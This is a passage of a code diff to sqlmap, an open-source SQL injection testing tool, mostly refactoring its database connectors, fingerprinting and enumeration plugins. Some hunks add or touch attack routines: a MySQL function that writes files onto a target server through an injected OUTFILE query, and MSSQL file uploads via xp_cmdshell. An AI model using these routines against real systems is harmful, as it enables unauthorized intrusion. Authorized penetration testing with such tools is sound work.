@@ -35,7 +36,7 @@ class Connector(GenericConnector):
             database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port)
             self.connector = ibm_db_dbi.connect(database, self.user, self.password)
         except ibm_db_dbi.OperationalError, msg:
-            raise SqlmapConnectionException(msg)
+            raise SqlmapConnectionException(getSafeExString(msg))
 
         self.initCursor()
         self.printConnected()
@@ -44,16 +45,16 @@ class Connector(GenericConnector):
         try:
             return self.cursor.fetchall()
         except ibm_db_dbi.ProgrammingError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
             return None
 
     def execute(self, query):
         try:
             self.cursor.execute(query)
         except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
         except ibm_db_dbi.InternalError, msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))
 
         self.connector.commit()
 

plugins/dbms/informix/fingerprint.py

@@ -44,7 +44,7 @@ class Fingerprint(GenericFingerprint):
         value += "active fingerprint: %s" % actVer
 
         if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
+            banVer = kb.bannerFp.get("dbmsVersion")
             banVer = Format.getDbms([banVer])
             value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
 

plugins/dbms/maxdb/connector.py

@@ -13,6 +13,6 @@ class Connector(GenericConnector):
         GenericConnector.__init__(self)
 
     def connect(self):
-        errMsg = "on SAP MaxDB it is not possible to establish a "
+        errMsg = "on SAP MaxDB it is not (currently) possible to establish a "
         errMsg += "direct connection"
         raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/maxdb/enumeration.py

@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import safeSQLIdentificatorNaming
 from lib.core.common import unsafeSQLIdentificatorNaming
@@ -43,9 +42,8 @@ class Enumeration(GenericEnumeration):
         logger.info(infoMsg)
 
         rootQuery = queries[DBMS.MAXDB].dbs
-        randStr = randomStr()
         query = rootQuery.inband.query
-        retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.schemaname' % randStr], blind=True)
+        retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.schemaname' % kb.aliasName], blind=True)
 
         if retVal:
             kb.data.cachedDbs = retVal[0].values()[0]
@@ -79,9 +77,8 @@ class Enumeration(GenericEnumeration):
         rootQuery = queries[DBMS.MAXDB].tables
 
         for db in dbs:
-            randStr = randomStr()
             query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER')
-            retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.tablename' % randStr], blind=True)
+            retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=True)
 
             if retVal:
                 for table in retVal[0].values()[0]:
@@ -193,7 +190,7 @@ class Enumeration(GenericEnumeration):
 
             if dumpMode and colList:
                 table = {}
-                table[safeSQLIdentificatorNaming(tbl)] = dict((_, None) for _ in colList)
+                table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList)
                 kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
                 continue
 
@@ -202,15 +199,14 @@ class Enumeration(GenericEnumeration):
             infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
             logger.info(infoMsg)
 
-            randStr = randomStr()
             query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER')
-            retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.columnname' % randStr, '%s.datatype' % randStr, '%s.len' % randStr], blind=True)
+            retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=True)
 
             if retVal:
                 table = {}
                 columns = {}
 
-                for columnname, datatype, length in zip(retVal[0]["%s.columnname" % randStr], retVal[0]["%s.datatype" % randStr], retVal[0]["%s.len" % randStr]):
+                for columnname, datatype, length in zip(retVal[0]["%s.columnname" % kb.aliasName], retVal[0]["%s.datatype" % kb.aliasName], retVal[0]["%s.len" % kb.aliasName]):
                     columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length)
 
                 table[tbl] = columns

plugins/dbms/mssqlserver/connector.py

@@ -41,7 +41,7 @@ class Connector(GenericConnector):
 
         try:
             self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout)
-        except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
+        except (pymssql2.Error, _mssql.MssqlDatabaseException), msg:
             raise SqlmapConnectionException(msg)
         except ValueError:
             raise SqlmapConnectionException

plugins/dbms/mssqlserver/filesystem.py

@@ -67,11 +67,11 @@ class Filesystem(GenericFilesystem):
         chunkName = randomStr(lowercase=True)
         fileScrLines = self._dataToScr(fileContent, chunkName)
 
-        logger.debug("uploading debug script to %s\%s, please wait.." % (tmpPath, randScr))
+        logger.debug("uploading debug script to %s\\%s, please wait.." % (tmpPath, randScr))
 
         self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr)
 
-        logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr))
+        logger.debug("generating chunk file %s\\%s from debug script %s" % (tmpPath, chunkName, randScr))
 
         commands = (
             "cd \"%s\"" % tmpPath,
@@ -174,10 +174,10 @@ class Filesystem(GenericFilesystem):
 
         encodedFileContent = base64encode(wFileContent)
         encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True)
-        encodedBase64FilePath = "%s\%s" % (tmpPath, encodedBase64File)
+        encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File)
 
         randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True)
-        randPSScriptPath = "%s\%s" % (tmpPath, randPSScript)
+        randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript)
 
         wFileSize = len(encodedFileContent)
         chunkMaxSize = 1024
@@ -212,15 +212,15 @@ class Filesystem(GenericFilesystem):
         logger.info(infoMsg)
 
         dFileName = ntpath.basename(dFile)
-        sFile = "%s\%s" % (tmpPath, dFileName)
+        sFile = "%s\\%s" % (tmpPath, dFileName)
         wFileSize = os.path.getsize(wFile)
         debugSize = 0xFF00
 
         if wFileSize < debugSize:
             chunkName = self._updateDestChunk(wFileContent, tmpPath)
 
-            debugMsg = "renaming chunk file %s\%s to %s " % (tmpPath, chunkName, fileType)
+            debugMsg = "renaming chunk file %s\\%s to %s " % (tmpPath, chunkName, fileType)
-            debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile)
+            debugMsg += "file %s\\%s and moving it to %s" % (tmpPath, dFileName, dFile)
             logger.debug(debugMsg)
 
             commands = (
@@ -248,7 +248,7 @@ class Filesystem(GenericFilesystem):
                     debugMsg = "appending chunk "
                     copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName)
 
-                debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName)
+                debugMsg += "%s\\%s to %s file %s\\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName)
                 logger.debug(debugMsg)
 
                 commands = (
@@ -275,7 +275,7 @@ class Filesystem(GenericFilesystem):
 
         randVbs = "tmps%s.vbs" % randomStr(lowercase=True)
         randFile = "tmpf%s.txt" % randomStr(lowercase=True)
-        randFilePath = "%s\%s" % (tmpPath, randFile)
+        randFilePath = "%s\\%s" % (tmpPath, randFile)
 
         vbs = """Dim inputFilePath, outputFilePath
         inputFilePath = "%s"
@@ -338,7 +338,7 @@ class Filesystem(GenericFilesystem):
 
         self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile)
 
-        logger.debug("uploading a visual basic decoder stub %s\%s, please wait.." % (tmpPath, randVbs))
+        logger.debug("uploading a visual basic decoder stub %s\\%s, please wait.." % (tmpPath, randVbs))
 
         self.xpCmdshellWriteFile(vbs, tmpPath, randVbs)
 
@@ -359,7 +359,7 @@ class Filesystem(GenericFilesystem):
         chunkMaxSize = 500
 
         randFile = "tmpf%s.txt" % randomStr(lowercase=True)
-        randFilePath = "%s\%s" % (tmpPath, randFile)
+        randFilePath = "%s\\%s" % (tmpPath, randFile)
 
         encodedFileContent = base64encode(wFileContent)
 

plugins/dbms/mssqlserver/fingerprint.py

@@ -46,9 +46,9 @@ class Fingerprint(GenericFingerprint):
         value += "active fingerprint: %s" % actVer
 
         if kb.bannerFp:
-            release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None
+            release = kb.bannerFp.get("dbmsRelease")
-            version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
+            version = kb.bannerFp.get("dbmsVersion")
-            servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None
+            servicepack = kb.bannerFp.get("dbmsServicePack")
 
             if release and version and servicepack:
                 banVer = "%s %s " % (DBMS.MSSQL, release)

plugins/dbms/mysql/connector.py

@@ -13,6 +13,7 @@ except:
 import logging
 import struct
 
+from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -37,10 +38,8 @@ class Connector(GenericConnector):
 
         try:
             self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True)
-        except (pymysql.OperationalError, pymysql.InternalError), msg:
+        except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error), msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))
-        except struct.error, msg:
-            raise SqlmapConnectionException(msg)
 
         self.initCursor()
         self.printConnected()
@@ -49,7 +48,7 @@ class Connector(GenericConnector):
         try:
             return self.cursor.fetchall()
         except pymysql.ProgrammingError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
             return None
 
     def execute(self, query):
@@ -59,9 +58,9 @@ class Connector(GenericConnector):
             self.cursor.execute(query)
             retVal = True
         except (pymysql.OperationalError, pymysql.ProgrammingError), msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
         except pymysql.InternalError, msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))
 
         self.connector.commit()
 

plugins/dbms/mysql/filesystem.py

@@ -5,6 +5,8 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from lib.core.agent import agent
+from lib.core.common import getSQLSnippet
 from lib.core.common import isNumPosStrValue
 from lib.core.common import isTechniqueAvailable
 from lib.core.common import popValue
@@ -16,11 +18,13 @@ from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.decorators import stackedmethod
 from lib.core.enums import CHARSET_TYPE
+from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
 from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.exception import SqlmapNoneDataException
 from lib.request import inject
+from lib.request.connect import Connect as Request
 from lib.techniques.union.use import unionUse
 from plugins.generic.filesystem import Filesystem as GenericFilesystem
 
@@ -112,6 +116,34 @@ class Filesystem(GenericFilesystem):
 
         return self.askCheckWrittenFile(wFile, dFile, forceCheck)
 
+    def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
+        logger.debug("encoding file to its hexadecimal string value")
+
+        fcEncodedList = self.fileEncode(wFile, "hex", True)
+        fcEncodedStr = fcEncodedList[0][2:]
+        fcEncodedStrLen = len(fcEncodedStr)
+
+        if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
+            warnMsg = "the injection is on a GET parameter and the file "
+            warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
+            warnMsg += "bytes, this might cause errors in the file "
+            warnMsg += "writing process"
+            logger.warn(warnMsg)
+
+        debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
+        logger.debug(debugMsg)
+
+        query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=dFile, HEXSTRING=fcEncodedStr)
+        query = agent.prefixQuery(query)        # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
+        payload = agent.payload(newValue=query)
+        Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
+
+        warnMsg = "expect junk characters inside the "
+        warnMsg += "file as a leftover from original query"
+        singleTimeWarnMessage(warnMsg)
+
+        return self.askCheckWrittenFile(wFile, dFile, forceCheck)
+
     def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
         debugMsg = "creating a support table to write the hexadecimal "
         debugMsg += "encoded file to"
@@ -130,6 +162,8 @@ class Filesystem(GenericFilesystem):
 
         logger.debug("inserting the hexadecimal encoded file to the support table")
 
+        inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024))  # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230)
+
         for sqlQuery in sqlQueries:
             inject.goStacked(sqlQuery)
 

plugins/dbms/mysql/fingerprint.py

@@ -48,11 +48,11 @@ class Fingerprint(GenericFingerprint):
             (50000, 50096),  # MySQL 5.0
             (50100, 50172),  # MySQL 5.1
             (50400, 50404),  # MySQL 5.4
-            (50500, 50558),  # MySQL 5.5
+            (50500, 50564),  # MySQL 5.5
-            (50600, 50638),  # MySQL 5.6
+            (50600, 50644),  # MySQL 5.6
-            (50700, 50720),  # MySQL 5.7
+            (50700, 50726),  # MySQL 5.7
             (60000, 60014),  # MySQL 6.0
-            (80000, 80003),  # MySQL 8.0
+            (80000, 80015),  # MySQL 8.0
         )
 
         index = -1
@@ -124,7 +124,7 @@ class Fingerprint(GenericFingerprint):
             value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
 
         if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"] if "dbmsVersion" in kb.bannerFp else None
+            banVer = kb.bannerFp.get("dbmsVersion")
 
             if banVer and re.search(r"-log$", kb.data.banner):
                 banVer += ", logging enabled"

plugins/dbms/oracle/fingerprint.py

@@ -46,7 +46,7 @@ class Fingerprint(GenericFingerprint):
         value += "active fingerprint: %s" % actVer
 
         if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
+            banVer = kb.bannerFp.get("dbmsVersion")
             banVer = Format.getDbms([banVer])
             value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
 

plugins/dbms/postgresql/fingerprint.py

@@ -45,7 +45,7 @@ class Fingerprint(GenericFingerprint):
         value += "active fingerprint: %s" % actVer
 
         if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
+            banVer = kb.bannerFp.get("dbmsVersion")
             banVer = Format.getDbms([banVer])
             value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
 
@@ -73,7 +73,7 @@ class Fingerprint(GenericFingerprint):
         infoMsg = "testing %s" % DBMS.PGSQL
         logger.info(infoMsg)
 
-        result = inject.checkBooleanExpression("[RANDNUM]::int=[RANDNUM]")
+        result = inject.checkBooleanExpression("QUOTE_IDENT(NULL) IS NULL")
 
         if result:
             infoMsg = "confirming %s" % DBMS.PGSQL
@@ -100,9 +100,9 @@ class Fingerprint(GenericFingerprint):
             if inject.checkBooleanExpression("XMLTABLE(NULL) IS NULL"):
                 Backend.setVersion(">= 10.0")
             elif inject.checkBooleanExpression("SIND(0)=0"):
-                Backend.setVersion(">= 9.6.0", "< 10.0")
+                Backend.setVersionList([">= 9.6.0", "< 10.0"])
             elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"):
-                Backend.setVersion(">= 9.5.0", "< 9.6.0")
+                Backend.setVersionList([">= 9.5.0", "< 9.6.0"])
             elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"):
                 Backend.setVersionList([">= 9.4.0", "< 9.5.0"])
             elif inject.checkBooleanExpression("ARRAY_REPLACE(NULL,1,1) IS NULL"):

plugins/dbms/sqlite/fingerprint.py

@@ -45,7 +45,7 @@ class Fingerprint(GenericFingerprint):
         value += "active fingerprint: %s" % actVer
 
         if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"]
+            banVer = kb.bannerFp.get("dbmsVersion")
             banVer = Format.getDbms([banVer])
             value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
 

plugins/dbms/sybase/enumeration.py

@@ -7,7 +7,6 @@ See the file 'LICENSE' for copying permission
 
 from lib.core.common import filterPairValues
 from lib.core.common import isTechniqueAvailable
-from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import safeSQLIdentificatorNaming
 from lib.core.common import unArrayizeValue
@@ -38,7 +37,6 @@ class Enumeration(GenericEnumeration):
 
         rootQuery = queries[DBMS.SYBASE].users
 
-        randStr = randomStr()
         query = rootQuery.inband.query
 
         if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
@@ -47,7 +45,7 @@ class Enumeration(GenericEnumeration):
             blinds = (True,)
 
         for blind in blinds:
-            retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind)
+            retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName)
 
             if retVal:
                 kb.data.cachedUsers = retVal[0].values()[0]
@@ -94,7 +92,6 @@ class Enumeration(GenericEnumeration):
         logger.info(infoMsg)
 
         rootQuery = queries[DBMS.SYBASE].dbs
-        randStr = randomStr()
         query = rootQuery.inband.query
 
         if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
@@ -103,7 +100,7 @@ class Enumeration(GenericEnumeration):
             blinds = [True]
 
         for blind in blinds:
-            retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind)
+            retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName)
 
             if retVal:
                 kb.data.cachedDbs = retVal[0].values()[0]
@@ -146,9 +143,8 @@ class Enumeration(GenericEnumeration):
 
         for db in dbs:
             for blind in blinds:
-                randStr = randomStr()
                 query = rootQuery.inband.query % db
-                retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind)
+                retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName)
 
                 if retVal:
                     for table in retVal[0].values()[0]:
@@ -210,7 +206,7 @@ class Enumeration(GenericEnumeration):
                 raise SqlmapNoneDataException(errMsg)
 
         for tbl in tblList:
-            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl)
+            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
 
         if bruteForce:
             resumeAvailable = False
@@ -268,7 +264,7 @@ class Enumeration(GenericEnumeration):
 
             if dumpMode and colList:
                 table = {}
-                table[safeSQLIdentificatorNaming(tbl)] = dict((_, None) for _ in colList)
+                table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList)
                 kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
                 continue
 
@@ -278,18 +274,17 @@ class Enumeration(GenericEnumeration):
             logger.info(infoMsg)
 
             for blind in blinds:
-                randStr = randomStr()
                 query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl))
-                retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.usertype' % randStr], blind=blind)
+                retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.usertype' % kb.aliasName], blind=blind, alias=kb.aliasName)
 
                 if retVal:
                     table = {}
                     columns = {}
 
-                    for name, type_ in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.usertype" % randStr])):
+                    for name, type_ in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.usertype" % kb.aliasName])):
                         columns[name] = SYBASE_TYPES.get(int(type_) if isinstance(type_, basestring) and type_.isdigit() else type_, type_)
 
-                    table[safeSQLIdentificatorNaming(tbl)] = columns
+                    table[safeSQLIdentificatorNaming(tbl, True)] = columns
                     kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
 
                     break

plugins/dbms/sybase/fingerprint.py

@@ -46,7 +46,7 @@ class Fingerprint(GenericFingerprint):
         value += "active fingerprint: %s" % actVer
 
         if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"]
+            banVer = kb.bannerFp.get("dbmsVersion")
             banVer = Format.getDbms([banVer])
             value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
 

plugins/generic/connector.py

@@ -20,6 +20,7 @@ class Connector:
     def __init__(self):
         self.connector = None
         self.cursor = None
+        self.hostname = None
 
     def initConnection(self):
         self.user = conf.dbmsUser or ""
@@ -34,9 +35,10 @@ class Connector:
         logger.info(infoMsg)
 
     def closed(self):
-        infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname)
+        if self.hostname:
-        infoMsg += ":%d closed" % self.port
+            infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname)
-        logger.info(infoMsg)
+            infoMsg += ":%d closed" % self.port
+            logger.info(infoMsg)
 
         self.connector = None
         self.cursor = None

plugins/generic/custom.py

@@ -88,6 +88,7 @@ class Custom:
             try:
                 query = raw_input("sql-shell> ")
                 query = getUnicode(query, encoding=sys.stdin.encoding)
+                query = query.strip("; ")
             except KeyboardInterrupt:
                 print
                 errMsg = "user aborted"

plugins/generic/databases.py

@@ -261,24 +261,28 @@ class Databases:
         rootQuery = queries[Backend.getIdentifiedDbms()].tables
 
         if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
-            query = rootQuery.inband.query
+            values = []
-            condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
 
-            if condition:
+            for query, condition in ((rootQuery.inband.query, getattr(rootQuery.inband, "condition", None)), (getattr(rootQuery.inband, "query2", None), getattr(rootQuery.inband, "condition2", None))):
-                if not Backend.isDbms(DBMS.SQLITE):
+                if not isNoneValue(values) or not query:
-                    query += " WHERE %s" % condition
+                    break
 
-                    if conf.excludeSysDbs:
+                if condition:
-                        infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
+                    if not Backend.isDbms(DBMS.SQLITE):
-                        logger.info(infoMsg)
+                        query += " WHERE %s" % condition
-                        query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList)
-                    else:
-                        query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))
 
-                if len(dbs) < 2 and ("%s," % condition) in query:
+                        if conf.excludeSysDbs:
-                    query = query.replace("%s," % condition, "", 1)
+                            infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
+                            logger.info(infoMsg)
+                            query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList)
+                        else:
+                            query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))
 
-            values = inject.getValue(query, blind=False, time=False)
+                    if len(dbs) < 2 and ("%s," % condition) in query:
+                        query = query.replace("%s," % condition, "", 1)
+
+                if query:
+                    values = inject.getValue(query, blind=False, time=False)
 
             if not isNoneValue(values):
                 values = filter(None, arrayizeValue(values))
@@ -434,7 +438,7 @@ class Databases:
                 raise SqlmapNoneDataException(errMsg)
 
         elif conf.db is not None:
-            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
+            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
                 conf.db = conf.db.upper()
 
             if ',' in conf.db:
@@ -461,7 +465,7 @@ class Databases:
         colList = filter(None, colList)
 
         if conf.tbl:
-            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
+            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
                 conf.tbl = conf.tbl.upper()
 
             tblList = conf.tbl.split(',')
@@ -565,7 +569,7 @@ class Databases:
                     condQueryStr = "%%s%s" % colCondParam
                     condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
 
-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
                     query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                     query += condQuery
                 elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
@@ -601,6 +605,8 @@ class Databases:
 
                     if values is None:
                         values = inject.getValue(query, blind=False, time=False)
+                        if values and isinstance(values[0], basestring):
+                            values = [values]
 
                 if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
                     index, values = 1, []
@@ -691,7 +697,7 @@ class Databases:
                     condQueryStr = "%%s%s" % colCondParam
                     condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
 
-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
                     query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                     query += condQuery
 
@@ -755,6 +761,10 @@ class Databases:
                         query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                         query += condQuery
                         field = None
+                    elif Backend.isDbms(DBMS.H2):
+                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
+                        query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery)
+                        field = None
                     elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                         query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
                         query += condQuery
@@ -794,7 +804,7 @@ class Databases:
                                 singleTimeWarnMessage(warnMsg)
 
                         if not onlyColNames:
-                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
+                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
                                 query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
                             elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                 query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))

plugins/generic/entries.py

@@ -67,7 +67,7 @@ class Entries:
             conf.db = self.getCurrentDb()
 
         elif conf.db is not None:
-            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
+            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
                 conf.db = conf.db.upper()
 
             if ',' in conf.db:
@@ -83,7 +83,7 @@ class Entries:
         conf.db = safeSQLIdentificatorNaming(conf.db)
 
         if conf.tbl:
-            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
+            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
                 conf.tbl = conf.tbl.upper()
 
             tblList = conf.tbl.split(',')
@@ -129,10 +129,7 @@ class Entries:
                 else:
